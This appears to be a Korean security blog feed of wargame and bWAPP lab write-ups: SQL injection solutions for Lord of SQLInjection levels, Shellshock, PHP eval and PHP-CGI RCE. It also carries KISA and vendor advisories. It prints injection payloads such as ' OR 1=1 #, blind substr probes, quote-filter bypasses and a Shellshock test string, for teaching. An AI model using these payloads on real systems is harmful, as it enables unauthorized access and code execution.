DB 조회, 삭제, 삽입 등 쿼터 같은 특수문자를 넣을 경우 오류를 발생시킬 수 있으며, SQL Injection 등 쿼리 공격을 방지하기 위해 사용합니다. 하지만 addslashes() 함수를 사용하여도 충분히 우회가 가능합니다.

예시)

$str = "Is your name O'Reilly?"
Outputs: Is your name O\'Reilly?

이처럼 문자에 쿼터 같은 특수문자가 들어갈경우 백슬래시(\)를 앞에 붙여 특수문자를 일반문자열로 바꿔 줍니다.

bWAPP DB

bWAPP DB에서 users 테이블의 login 컬럼을 조회한 결과 값입니다.

bWAPP DB

bWAPP DB users 테이블의 login 컬럼에서 login 값이 test'01인 값을 쿼리 하였습니다. 쿼터(') 특수문자가 중간에 들어가서 SQL 에러가 표시되는 것을 알 수 있습니다.

bWAPP DB

그럼 다시 문제로 돌아가도록 하겠습니다.

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

최종적으로 해당 문제는 저장되어 있는 pw 값과 입력된 pw 값이 같아야 풀리는 문제로 저장되어 있는 pw 값을 찾아야 해결되는 문제입니다.

or 1=1 참

pw=' or 1=1 # 참인 값을 입력하였더니 Hello admin 문자열을 확인할 수 있었습니다.

or 1=2 거짓

pw=' or 1=2 # 거짓 값을 입력하였더니 Hello admin 문자열이 표시되지 않습니다. 이것으로 알 수 있는것은 참과 거짓 값이 다르게 표시 되므로 Blind sql injection이 가능하다는 것을 알수 있습니다.

그럼 우선 우리는 pw를 값을 알아내야 하기 때문에 그전에 pw의 길이를 먼저 알아보도록 하겠습니다. pw의 길이를 확인하기 위해서는 length() 함수와, char_length() 함수를 사용할 수 있지만 char_length() 함수에서는 _ 필터링이 되므로 여기서는 length() 함수를 사용하여야 합니다.

bWAPP DB에서 login 값의 길이 확인

pw 길이 확인

?pw=' or id='admin' and length(pw)=1%23

select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)=1#'

prob_orc 테이블의 id 컬럼에서 id='admin'이고 pw='' 이거나 id='admin' 이고 pw길이가 1자리인지 확인합니다.

bWAPP DB

bWAPP DB의 예시와 같이 length 값이 참이 될 때까지 계속 숫자를 올리면서 확인하는 방법도 있지만, 위의 예시처럼 값이 40자리일 경우 40번의 입력을 해주어야 합니다. 여기서는 파이썬을 통한 자동화 공격으로 확인해보도록 하겠습니다.

pw 길이값 확인

pw의 길이값은 8자리인 것을 확인하였습니다. 즉 쿼리문은 ?pw=' or id='admin' and length(pw)=8%23 이라는 것을 알 수 있습니다.

파이썬 소스코드 (pw 길이 확인)

파이썬 pw 길이 추출 소스코드

소스코드를 이미지로 붙여 놓은 이유는 이 글을 보시는 분들 중 한 분이라도 직접 타이핑을 하면서 직접 입력을 해보셨으면 하는 마음에서 이미지로 붙여 넣었습니다.

소스코드 설명

1,2번 라인 - requests, string 모듈 사용

모듈은 다른 파이썬 프로그램에서 불러와 사용할 수 있게끔 만든 파이썬 파일이라고도 할 수 있습니다.

4,5번 라인 - url 주소를 입력받고, 그것을 print 함수를 통하여 화면에 출력합니다.

7, 8번 라인 - pw 길이와, pw 값을 찾아야 하므로 변수를 선언해 주었습니다.

10번 라인 - headers 변수에 현재 쿠키 값을 저장하여 줍니다.

12번 라인 - brute 변수에 string 모듈을 사용하여 pw 값에 대입할 값을 저장

14 ~ 24번 라인 - for 문을 통하여 Hello admin이 표시될 때까지 1부터 99까지 값을 대입

pw 값 확인 (확인 방법은 여러 가지가 있습니다)

substr( ) 함수 - 지정한 특정 위치의 문자를 출력해주는 함수입니다.
형식은 substr("찾을 문자", "시작위치", "찾을 글자수")입니다.

mid 함수 - 문자에 지정한 시작 위치를 기준으로 일정 개수를 가져오는 함수.

ord( ) 함수 - 아스키코드를 숫자로 만들어주는 함수이다.
chr( ) 함수 - 숫자를 아스키코드로 바꿔주는 함수이다.

pw 값 확인

?pw=' or id='admin' and substr(pw,1,1)='0'%23 - pw의 첫 번째 자리의 값이 0인지 확인

?pw=' or id='admin' and substr(pw,2,1)='0'%23 - pw의 두 번째 자리의 값이 0인지 확인

pw 값 확인

파이썬 소스코드 (pw 값 확인)

전체 소스코드

[LOS] Lord of the SQL Injection - goblin

태군 코드 — Thu, 29 Dec 2022 15:09:47 +0900

goblin

[LOS] Lord of the SQL Injection - goblin

preg_match : porb _ . ( ) 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 no='필터링값'이 있을 경우 "No Hack ~_~" 문구를 출력합니다.

preg_match : ' " ` 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 no='필터링값'이 있을 경우 "No Quotes ~_~" 문구를 출력합니다.

$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";

쿼리문에서는 id 값은 'guest'로 고정되어 있고, no 변수에 입력되는 값만 GET으로 넘겨주는 것을 알 수 있습니다.

if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");

검색된 쿼리 결과를 통하여 조건이 맞을 경우 id 값을 반환해 주고 있으며, 최종적으로 id가 'admin'일 경우 문제가 해결되는 것을 알 수 있습니다.

no=1 값 입력

아무 생각 없이 no 변수에 1을 입력하였더니 Hello guest 문구가 출력되는 것을 확인할 수 있었습니다. 즉 id가 'guest'일 경우 no의 값은 1이라는 것을 알 수 있습니다.

조금 더 이해하기 쉽게 비박스 데이터 베이스를 통하여 예시를 들어 보도록 하겠습니다.

bWAPP DB

bWAPP DB로 예를 들어 보면 여기서 bWAPP의 login 값은 LOS의 id, bWAPP id 값은 LOS의 no로 생각하시면 조금 더 이해가 되실 거라고 생각됩니다.

그럼 다시 문제로 돌아와서 id='guest' and no=1이라는 것을 알았습니다. 그렇다면 'admin'도 다른 no값을 가지고 있다는 것을 추측할 수 있습니다.

?no=0 OR no=2

select id from prob_goblin where id='guest' and no=0 OR no=2

연산은 and 연산부터 수행되기 때문에 id='guest'이고 no=0은 거짓이기 때문에 OR 연산을 수행하여 no=2의 값을 출력하게 됩니다. 즉 'admin'의 no 값은 2가 되게 됩니다.

bWAPP DB

bWAPP DB로 예시를 들어 보겠습니다.

select login, id from heroes where login='neo' and id=1;

heroes 테이블의 login, id 컬럼에서 login='neo' and id=1 값의 결과를 출력합니다.

select login, id from heroes where login='neo' and id=0 or id=2;

heroes 테이블의 login, id 컬럼에서 login='neo' and id=0 값을 출력하였으나 조건에 맞지 않아 or 조건을 통하여 id=2의 값을 출력합니다.

해당 문제에서는 ' " ` 필터링이 되어 문자를 입력하지 못하게 막고 있지만, char, hex, binary를 통하여 문자를 입력할 수도 있습니다.

10진수 - char(97,100,109,105,110)

16진수 - 0x61646D696E (16진수는 앞에 0x를 표기하여 줍니다.)

2진수 - 0b0110000101100100011011010110100101101110

char를 이용하여 admin을 출력하였습니다. 이처럼 필터링된 문자열을 우회할 수 있는 방법도 있으니 참고하여 직접 테스트를 해보시기를 추천드립니다.

참고

https://ko.wikipedia.org/wiki/ASCII#%EC%B6%9C%EB%A0%A5_%EA%B0%80%EB%8A%A5_%EC%95%84%EC%8A%A4%ED%82%A4_%EB%AC%B8%EC%9E%90%ED%91%9C

Microsoft Exchange ProxyNotShell우회 OWASSRF 공격체인

태군 코드 — Wed, 28 Dec 2022 17:30:16 +0900

개요

- 최근 OWA(Outlook Web Access)를 통해 원격 코드 실행(RCE)을 달성하기 위해 CVE-2022-41080 및 CVE-2022-41082로 구성된 새로운 익스플로잇 방법( OWASSRF라고 함)을 발견했습니다.

- ProxyNotShell취약점 중 CVE-2022-41040이 아닌 CVE-2022-41080을 이용해 권한상승을 유발 합니다.

* ProxyNotShell : 온프레미스 Exchange 서버에 원격 코드 실행을 일으키는 제로데이 취약점

설명

Autodiscover원격 Microsoft Exchange 서버에서 제공하는 서비스에 대해 클라이언트에 알리는 데 사용되는 끝점은 프런트엔드에 대한 인증된 요청을 사용하여 액세스 됩니다.
CVE-2022-41040 경로 혼동(path confusion) 익스플로잇을 사용하여 액세스 하여 공격자가 임의 URL의 백엔드에 도달할 수 있도록 합니다. 이러한 유형의 취약점을 서버 측 요청 위조(SSRF)라고 합니다. ProxyNotShell의 경우 대상 백엔드 서비스는 원격 PowerShell 접근 시도 합니다.

CVE-2022-41040 프론트엔드 요청

CVE-2022-41040 백엔드 요청

CVE-2022-41080 프런트엔드 요청의 경우 원격 PowerShell HTTP 로그 의 사용자, IP 주소 및 GUID를 Exchange 프런트엔드와 연관시켜 특정 OWA URL에 대한 사서함 사용 요청을 악용하여 원격 Powershell에 접근 시도

CVE-2022-41080 프론트엔드 요청

CVE-2022-41080 백엔드 요청

대응방안

- Microsoft社에서 배포한 보안 업데이트 적용(KB5019758)
- KB5019758 보안 업데이트 적용이 불가능한 경우 패치 적용 시까지 OWA 비활성화○ 원격 Powershell 사용이 불필요한 경우 비활성화
- CrowdStrike Services에서 개발한 스크립트를 통한 IIS 및 원격 PowerShell 로그 파일 감사
* 참고자료 : https://github.com/CrowdStrike/OWASSRF

명령어
powershell .\Rps_Http-IOC.ps1 [RPS_HTTP Log 경로]

예시
powershell .\Rps_Http-IOC.ps1 'C:\Program Files\Microsoft\Exchange Server\V15\Logging\CmdletInfra\Powershell-Proxy\Http’

파워쉘 스크립트 실행 정책으로 인해 실행이 안 될 경우
powershell -executionpolicy bypass -file Rps_Http-IOC.ps1 [RPS_HTTP Log 경로]

참고

https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/

[KISA] 2023 사이버 보안 위협 전망

태군 코드 — Wed, 28 Dec 2022 16:38:26 +0900

1. 2022년 사이버 보안 위협 분석
- 국가·사회 혼란을 야기하는 사이버 공격
- 재택근무 확산, 클라우드 전환 등 IT환경 변화를 악용한 공격
- 디지털 사회를 마비시키는 랜섬웨어, 디도스 공격

2. 2023년 사이버 보안 위협 전망
- 국가·산업 보안을 위협하는 글로벌 해킹 조직의 공격 증가
- 재난, 장애 등 민감한 사회적 이슈를 악용한 사이버 공격 지속
- 지능형 지속 공격과 다중협박으로 무장한 랜섬웨어의 진화
- 디지털 시대 클라우드 전환에 따른 위협 증가
- 갈수록 복잡해지는 기업의 SW 공급망과 위협 증가

출처

https://krcert.or.kr/data/reportView.do?bulletin_writing_sequence=67084

[LOS] Lord of the SQL Injection - cobolt

태군 코드 — Wed, 28 Dec 2022 16:02:50 +0900

cobolt

[LOS] Lord of the SQL Injection - cobolt

preg_match : prob _ . ( ) 문자열이 필터링되어 있고 i 옵션을 통하여 대소문자 구문을 하지 않고 있습니다.

id 값이 'admin'이 맞으면 풀리는 문제라는 것을 알수 있습니다.

쿼리문을 살펴보면 앞의 문제와는 다르게 pw 가 md5 함수로 고정되어 있는 것을 확인할 수 있습니다.

?id=admin&pw=admin

select id from prob_cobolt where id='admin' and pw=md5('admin')

여기서 확인할 수 있는 것은 우리가 pw에 전달한 값은 md5('전달값')로 들어가는 것을 알 수 있습니다. 그럼 앞에서 풀어 보았던 데로 ' OR 1=1 # 값을 넣어 보도록 하겠습니다. 데이터베이스 종류별로 주석 처리 방법은 조금씩 차이가 있으므로, 점검 및 취약점 진단 시 상황에 맞게 주석처리를 사용해주어야 합니다.

?id=admin&pw=%27%20OR%201=1%23 : ?id=admin&pw=' OR 1=1 #

select id from prob_cobolt where id='admin' and pw=md5('' OR 1=1#')

pw 값을 참이 되게 입력을 하면 pw=md5('' OR 1=1 ') 부분만 주석 처리가 되어 문법 에러가 발생하기 때문에 조건을 충족하지 않습니다.

?id=admin%27%20OR%201=1%20%23 : ?id=admin' OR 1=1 #

select id from prob_cobolt where id='admin' OR 1=1 #' and pw=md5('')

id 값이 'admin' 이거나(OR) 참인 조건을 입력하면 admin이 아니라는 메시지를 확인할 수 있고, rubiya 계정이 존재하고 있는 것을 알 수 있습니다.

?id=admin%27%20%23 : ?id=admin' #

select id from prob_cobolt where id='admin' #~~' and pw=md5('')~~

위에서도 말한 거와 같이 id 값이 'admin'일 경우 풀리는 문제로 id를 'admin'으로 고정을 해주고 뒤에 실행되는 쿼리문을 주석처리 해주면 풀리는 문제입니다.

?id=admin%27%20OR%201=2%20%23 : ?id=admin' OR 1=2 # -> id가 'admin' 이거나 거짓 조건일 경우

select id from prob_cobolt where id='admin' OR 1=2 #~~' and pw=md5('')~~

?id=admin%27%20AND%201=1%20%23 : ?id=admin' AND 1=1 # -> id가 'admin'이고 참일 경우

select id from prob_cobolt where id='admin' AND 1=1 #~~' and pw=md5('')~~

다른 방법으로는 id가 'admin' 이고 거짓 또는 참인 조건을 만들어 id가 'admin' 값만 표시되게 질의할 수 있습니다.

처음부터 id값을 'admin'으로 하는 방법도 있었겠지만, 해당 블로그를 보시는 분들이 조금이나마 눈으로 보고 익혔으면 하는 바람으로 여러 가지 방법을 시도해 보았습니다. 위의 방법 말고도 다른 방법으로도 직접 쿼리문을 조작하여 확인해 보시기를 추천드립니다.

[LOS] Lord of the SQL Injection - gremlin

태군 코드 — Tue, 27 Dec 2022 18:04:00 +0900

SQL Injection 공격은 임의의 SQL 쿼리문을 삽입한다는 게 가장 중요한 포인트입니다. 내가 삽입한 SQL 쿼리문이 서버에 어떻게 삽입되는지 그리고 DB에서 어떻게 실행되는 눈으로 보면 조금 더 이해하기가 쉬울 거라고 생각이 듭니다. LOS 사이트는 서버에서 완성되고 실행되는 SQL 쿼리문을 눈으로 확인할 수 있고, 내가 넣은 쿼리가 SQL 질의문이 어떻게 만들어지는지 확인할 수 있습니다. 이렇게 직접 눈으로 확인하면서 한 단계씩 풀어 보도록 하겠습니다.

GET 방식 데이터 전송

- 데이터를 URL에 포함하여 값을 전달하는 방식 입니다.
- URL의 길이가 제한되기 때문에 전송할 수 있는 데이터의 한계가 있을 수 있습니다.
- 모든 데이터가 URL에 노출되기 때문에 POST 방식에 비해 보안에 취약합니다.
- 한글, 공백, 특수문자 등 URL Encoding 처리를 해줘야 전송할 수 있습니다.

- 구분자 "?" 뒤에 오는 것이 파라미터(값)가 되고, 파라미터 값이 여러 개 있다면 구분자 "&"를 두어 파라미터를 구분할 수 있습니다.

GET 방식은 클라이언트의 데이터를 URL뒤에 붙여서 보냅니다. 위에서 쓴 예시처럼 아이디와 패스워드를 보낸다고 가정하면

www.testget.com?id=test&pass=1234 이런 식으로 값을 전달할 수 있으며, URL 뒤에 "?" 통해 URL의 끝을 알리면서, 데이터 표현의 시작점을 알립니다.

gremlin

[LOS] Lord of the SQL Injection - gremlin

해당 문제를 살펴보면 GET 방식이라는 것을 알 수 있고, URL 데이터를 담아 값을 전달 할수 있다는 것을 알수 있습니다. 그럼 값을 전달해 보도록 하겠습니다.

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=admin&pw=admin

처음 문제에 접속을 하여 query 부분을 확인하면 id와 pw 부분이 비어 있지만, id와 pw의 값을 넘겨주면 쿼리 문이

select id from prob_gremlin where id='admin' and pw='admin' 변경된 것을 알 수 있습니다. 즉 id=admin이고 pw=admin 인 값을 prob_gremlin 테이블의 id 컬럼에서 select해라라는 뜻이 됩니다. 코드를 살펴보도록 하겠습니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

preg_match() 함수

- 인자로 전달받은 정규 표현식과 일치하는 패턴을 검색하는 php의 함수입니다.

preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0): int|false

pattern - 정규 표현식의 검색할 패턴(문자열)입니다.
subject - 입력 문자열입니다.
matches - 제공 되면 matches검색 결과로 채워집니다. $matches [0] 에는 전체 패턴과 일치하는 텍스트가 포함되고, $matches [1] 에는 캡처된 첫 번째 괄호 하위 패턴과 일치하는 텍스트가 포함되는 식입니다.

정규 표현식에 대해서는 추후에 자세히 다루도록 하겠습니다.

id, pw 전달받은 값 중에 prob, _ , . , ( , ) 값이 존재할 경우 "No Hack ~_~"을 표시해라 라는 뜻입니다.

id=prob 값 전달

id에 prob 값을 전달하면 "No Hack ~_~" 이 표시되는 것을 확인할 수 있습니다. 위에서 정규 표현식으로 필터링하는 값들을 하나씩 넣어 보고 결과 값을 확인해 보시기를 추천드립니다.

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);

query - SQL 쿼리문을 실행

echo - 값을 출력

mysqli_fetch_array 함수 - 쿼리의 결과를 처리

highlight_file — 파일의 구문 강조 표시

위의 쿼리를 살펴보면 id와 pw 값이 일치해야 문제가 풀리는 것을 알 수 있습니다. 하지만 우리는 id와 pw 값을 모르기 때문에 SQL 쿼리 문을 통해 우회를 해야 합니다.

id=value&pw=%27%20OR%201=1%20%23

URL이 인코딩 되었지만 실제 값은 아래와 같습니다.

id=임의값 & pw=' OR 1=1 #

pw=' OR 1=1 #

select id from prob_gremlin where id='value' and pw='' OR 1=1 #'

select id from prob_gremlin where id='' and pw='' OR 1=1 #'

쿼리를 해석해 보면 porb_gremlin 테이블의 id 컬럼에서 id가 value 이고 pw가 없거나 또는 값이 참일경우 조회해라 라고 풀이 할수 있습니다.

SQL 쿼리 문을 통하여 값을 참으로 만들어 주면 prob_gremlin 테이블의 모든 id 값을 가져올 수 있습니다.

참고

https://www.php.net/manual/en/function.preg-match.php

https://www.w3schools.com/tags/ref_urlencode.asp

[LOS] Lord of the SQL Injection 소개

태군 코드 — Mon, 19 Dec 2022 16:21:43 +0900

사이트 - https://los.rubiya.kr/

Lord of SQLInjection

los.rubiya.kr

Lord of SQLInjection 사이트는 SQL Injection에 대하여 이해하고 기본적인 문법과 스킬을 습득하기에 좋은 사이트로 간단한 소개와 앞으로 문제풀이를 같이 해보도록 하겠습니다.

https://los.rubiya.kr/

먼저 사이트에 접속을 하면 위와 같은 화면을 확인할 수 있고, [enter to the dungeon]을 눌러 회원 가입을 해줍니다. 저 같은 경우 회원 가입을 할 때 평소 쓰지 않는 ID와 PW를 입력하여 회원 가입을 진행하였습니다.

회원 가입 후 로그인을 해보면 위와 같이 다양한 문제들이 있는 것을 확인할 수 있습니다.

gremlin

gremlin 눌러 확인해 보면 SQL Injection 실습을 할 수 있도록 문제가 제공되는 것을 확인할 수 있습니다. 그럼 앞으로 gremlin부터 문제풀이는 진행해 보도록 하겠습니다.

[Wargame] Webhacking.kr old-01 문제

태군 코드 — Mon, 19 Dec 2022 15:46:46 +0900

워게임 사이트 Webhacking.kr old-01 문제를 살펴보도록 하겠습니다.

https://webhacking.kr/chall.php

사용되는툴 - EditThisCookie, 버프 스위트 (해당 부분 사용법들은 해당 블로그에 정리되어 있습니다.)

old-01

webhacking.kr의 old-01 문제 화면입니다. 처음 페이지를 보고 습관적으로 소스보기 및 해당 URL을 입력해 보았는데 별다른 특이사항이 없어 view-source 링크를 클릭하여 보았습니다.

view-source

화면에 view-source 부분을 클릭하면 다음과 같은 소스코드들이 보입니다.

먼저 해당 소스코드를 살펴보도록 하겠습니다.

소스코드를 살펴보면 user_lv 라는 쿠키를 생성하고 쿠키의 값에 1을 넣어주는 것을 알 수 있습니다.

라인을 따라서 코드를 확인해 보면 user_lv 값이 4보다 크거나 같을경우 user_lv 값을 1로 반환을 하고, user_lv 값이 3 이상일 경우 문제가 풀리는 것을 알 수 있습니다.

해당 문제는 간단히 쿠키를 변조하면 풀수 있는 문제로 EditThisCookie 툴을 이용하여 user_lv=값에 해당 조건을 만족하는 값을 입력 후 Set을 눌러 확인해 보도록 하겠습니다.

EditThisCookie 값 입력

user_lv 값이 3이상이고 4보다 작은 값을 입력 후 초록색 체크 버튼을 누른 후 새로고침을 해 주었습니다.

old-01

보안공지 : 기존 유출된 계정정보를 이용한 해킹 위협 증가에 따른 사용자 계정 보안 강화 권고

태군 코드 — Mon, 19 Dec 2022 13:21:03 +0900

□ 개요

o 최근 해커가 보안이 허술한 사이트 등을 통해 획득한 사용자 계정정보(ID, 비밀번호)를 이용해 타 사이트에 무단 로그인하는 침해사고가 발생하고 있어, 사용자들의 계정정보 점검 및 대비 필요

□ 사고유형 및 사례

o 해커가 타 사이트에서 취득한 계정정보를 사용하여 특정 사이트에 무작위로 로그인을 시도하고, 로그인에 성공한 사용자의 가입 정보를 무단 변경

□ 보안권고사항

o 여러 사이트의 계정 정보를 중복되지 않도록 설정
o 비밀번호는 3가지(영문, 숫자, 특수기호) 문자를 조합하여 8자리 이상으로 설정하고 3개월 단위로 주기적으로 변경
o ID, 비밀번호 이외에 OTP, SMS 등을 통한 이중 인증 기능 설정
o 계정정보가 노출된 경우 반드시 동일한 계정정보를 사용하는 모든 사이트의 비밀번호 변경

출처

https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=67079

비박스(bWAPP) A9 Shellshock Vulnerability (CGI)

태군 코드 — Fri, 11 Nov 2022 13:57:08 +0900

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

A9 - Shellshock Vulnerability (CGI)

Shellshock(셸 쇼크)는 광범위하게 사용되는 유닉스 Bash에서 발생하는 보안 버그입니다.

Shell(셸)은 운영체제상에서 사용자가 입력하는 명령을 읽고 해석하여 대신 실행해주는 프로그램입니다. 즉 다시 말해서, 운영체제의 커널과 사용자 사이를 이어주는 역할을 하며 사용자의 명령어를 해석하고 운영체제가 알아들을 수 있도록 도와주는 명령어 해석기입니다. Linux에서 사용하는 Shell의 종류로는 다음과 같은 것들이 있습니다.

bash : Bourne-Again Shell(프롬프트 : #, 경로 : /bin/bash). 가장 대표적으로 사용.
sh : Bourne Shell(프롬프트 : $, 경로 : /bin/sh)
csh : C Shell(프롬프트 : %, 경로 : /bin/csh)
ksh : Kron Shell(프롬프트 : $, 경로 : /bin/ksh)
tcsh : TENEX C Shell(프롬프트 : >, 경로 : /bin/tcsh)

pwn은 pwnable 약자로 시스템 해킹을 뜻 합니다. pwnable 명칭의 유래는 한 유저가 게임에서 승리했는데, 이때 own!이라고 입력할 것을 pwn!라고 입력했고 이 말이 유행을 타서 굳어졌다는 말이 있습니다.

shellshock.php

shellshock.php 페이지의 화면입니다. 현재 저는 윈도우 환경으로 요청 URL을 찾을 수 없다고 나오는 것입니다. 추후 유닉스 환경에서 비박스 환경 구축부터 알아보고, 여기서는 해당 취약점이 어떻게 발생하는지 알아보도록 하겠습니다.

https://www.cvedetails.com/cve/CVE-2014-6271/?q=CVE-2014-6271

CVE 사이트를 확인해 보면 ShellShock 취약점은 CVE-2014-6271로 명명되어 있으며 CVE 점수는 10점 만점인 것을 알 수 있습니다. 내용을 살펴보면 4.3을 통한 GNU Bash는 OpenSSH sshd의 ForceCommand 기능, Apache의 mod_cgi 및 mod_cgid 모듈과 관련된 벡터에 의해 입증된 바와 같이 환경 변수 값에서 함수 정의 후 후행 문자열을 처리하여 원격 공격자가 제작된 환경을 통해 임의의 코드를 실행할 수 있도록 합니다.라고 확인할 수 있습니다.

해당 취약점은 Bash 셸 환경 변수 등록 시 함수 형태로 등록이 가능하여 취약 버전 셸에서 환경 변수 등록 시 함수 선언 끝에 조작된 값을 이어서 삽입하면 원하는 명령을 수행할 수 있는 취약점입니다.

Bash 환경 변수 선언

export shelltest='ShellshockTEST'

환경 변수로 선언된 shelltest에 대하여 값 확인

printenv shelltest

Bash의 함수 선언 및 함수 등록

shelltest() { echo ShellshockTest; }

export shelltest

환경변수의 값을 함수와 비슷한 형태로 재정의

export shelltest=' () { echo ShellshockTest; } '

공격 구문

export shelltest=' () { echo ShellshockTest; };id;uname; '

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

참고

KISA GNU Bash 원격코드실행 취약점 이슈 분석 및 대응방안

https://www.exploit-db.com/exploits/34765

비박스(bWAPP) A9 phpMyAdmin BBCode Tag XSS

태군 코드 — Fri, 11 Nov 2022 09:54:50 +0900

A9 - phpMyAdmin BBCode Tag XSS

해당 취약점을 앞에서 다뤘던 내용으로 아래의 페이지를 참조해 주시기 바랍니다.

https://securitycode.tistory.com/182

phpMyAdmin - Client-Side Code Injection (CVE-2010-4480)

허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다. CVE-ID CVE-2010-

securitycode.tistory.com

업데이트 : OpenSSL 취약점 보안 업데이트 권고 (2022.11.02)

태군 코드 — Wed, 2 Nov 2022 11:05:41 +0900

□ 개요
o OpenSSL 프로젝트는 OpenSSL에서 발생하는 취약점을 해결한 보안 업데이트 발표
o 공격자는 해당 취약점을 악용하여 피해를 발생시킬 수 있으므로, 해당 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고

□ 설명 [1]
o OpenSSL에서 버퍼오버플로우로 인해 발생하는 원격 코드 실행 취약점 (CVE-2022-3602)
o OpenSSL에서 버퍼오버플로우로 인해 발생하는 서비스 거부 취약점 (CVE-2022-3786)

□ 설명 [2]

2022년 11월 1일 OpenSSL 프로젝트는 심각도가 높은 것으로 간주되는 취약점을 자세히 설명하는 보안 게시판 을 발표했습니다 . 취약점은 취약한 클라이언트 또는 서버가 X.509 인증서의 유효성을 검사할 때 트리거될 수 있는 메모리 손상 버그입니다. 클라이언트 또는 서버 인증서의 비ASCII 코드포인트를 악용하는 특수하게 조작된 이메일 주소는 이 취약점을 악용하여 서비스 거부(DoS) 또는 원격 코드 실행(RCE)을 달성할 수 있습니다.

공격자는 취약한 응용 프로그램이 신뢰할 수 없는 X.509 인증서(TLS 인증서 포함)를 확인하는 모든 상황에서 취약점을 악용할 수 있습니다. 특히 다음이 포함될 수 있습니다.

취약한 클라이언트에 특수하게 조작된 TLS 서버 인증서를 보내는 악성 서버
클라이언트 측 TLS 인증이 필요한 취약한 서버에 특수하게 조작된 클라이언트 측 TLS를 보내는 악성 클라이언트
Datadog Security Labs 팀은 Windows에서 취약한 시나리오를 복제하고 Windows에서 OpenSSL을 충돌시키는 PoC를 제작했습니다. 우리는 Linux에서 동일한 환경을 복제했으며, 여러 낮은 수준의 기술 세부 정보 로 인해 취약점을 악용할 수 없다고 중간 수준의 확신을 갖고 있습니다 .

[참고사이트]
https://www.openssl.org/news/secadv/20221101.txt
https://www.openssl.org/source/

https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66999

https://www.openssl.org/blog/blog/2022/11/01/email-address-overflows/

https://securitylabs.datadoghq.com/articles/openssl-november-1-vulnerabilities/

비박스(bWAPP) A9 PHP Eval Function

태군 코드 — Mon, 31 Oct 2022 17:13:47 +0900

A9 - PHP Eval Function

- eval 함수는 인수 문자열을 PHP 코드로 실행할 수 있습니다.

- 문자열은 유효한 PHP 코드여야 하며 세미콜론으로 끝나야 합니다.

- shell_exec - 셸을 통해 명령을 실행하고 전체 출력을 문자열로 반환

php_eval.php

php_eval.php 페이지를 살펴 보면 이 위험한 PHP 기능을 이용하려면 소스 코드를 확인하십시오.라는 메시지를 확인할 수 있습니다. 그럼 소스코드를 확인해 보도록 하겠습니다.

php_eval.php 소스코드

소스코드를 확인해 보면 eval 함수가 사용가능하다는 것을 알 수 있으며, eval 함수에 전달된 값이 서버에 전달되고 그 내용이 출력이 된다는 것을 알 수 있습니다.

eval 함수를 통한 php 정보 출력

eval 함수를 통하여 phpinfo 정보를 출력하면 현재 설정된 php의 버전과 내용이 그대로 출력이 되는것을 확인할 수 있습니다. 추가로 shell_exec() 함수를 통하여 Command 명령도 가능하니 확인해 보시기를 추천드립니다.

해당 취약점을 조치하기 위해서는 소스코드 수정이 필요합니다.

비박스(bWAPP) A9 PHP CGI Remote Code Execution

태군 코드 — Mon, 31 Oct 2022 14:53:27 +0900

A9 - PHP CGI Remote Code Execution

공용 게이트웨이 인터페이스(Common Gateway Interface; CGI)는 웹 서버 상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있다.

php_cgi.php

php_cgi.php 페이지를 살펴 보면 PHP 원격명령 실행 취약점이라는 것을 알 수 있습니다. HINT 부분에 exploit를 눌러 확인해 보도록 하겠습니다.

exploit

CVE-2012-1823 취약점은 2012년 1월에 발견된 취약점으로 PHP의 특정 버전의 sapi/cgi/cgi_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생하는 취약점으로, 명령어 라인 옵션을 질의 문자열에 포함하여 원격 명령을 실행할 수 있는 취약점입니다.

설명

PHP 5.3.12 이전 및 5.4.x 이전 5.4.2에서 sapi/cgi/cgi_main.c는 CGI 스크립트(php-cgi라고도 함)로 구성된 경우 =(equals sign) 문자가 없는 쿼리 문자열을 제대로 처리하지 않습니다. 이는 원격 공격자가 쿼리 문자열에 명령줄 옵션을 배치하여 임의의 코드를 실행할 수 있도록 하며, 이는 'd' 경우에 특정 php_getopt를 건너뛰지 않는 것과 관련이 있습니다.

php 버전 확인

php-cgi -v 를 통해서도 확인이 가능 합니다.

해당 취약점은 특정 버전에서 발생하는 취약점으로 php_cgi.php 페이지에서 admin을 누른후 phpinfo.php 페이지에서 자신의 php 버전을 확인하시기 바랍니다. 저는 현재 5.6.0 버전으로 여기서는 취약점 확인 방법을 알아보고 추후에 버전을 낮춰서 다시 한번 확인해 보도록 하겠습니다.

php cgi 명령어 옵션

PHP CGI 취약점을 이용한 원격코드는 주로 3개의 옵션을 사용합니다. 나머지 옵션들에 대해서는 참고에 features.commandline.options.php 페이지를 참고하여 확인하시기 바랍니다.

-n php.ini 파일을 사용하지 않음

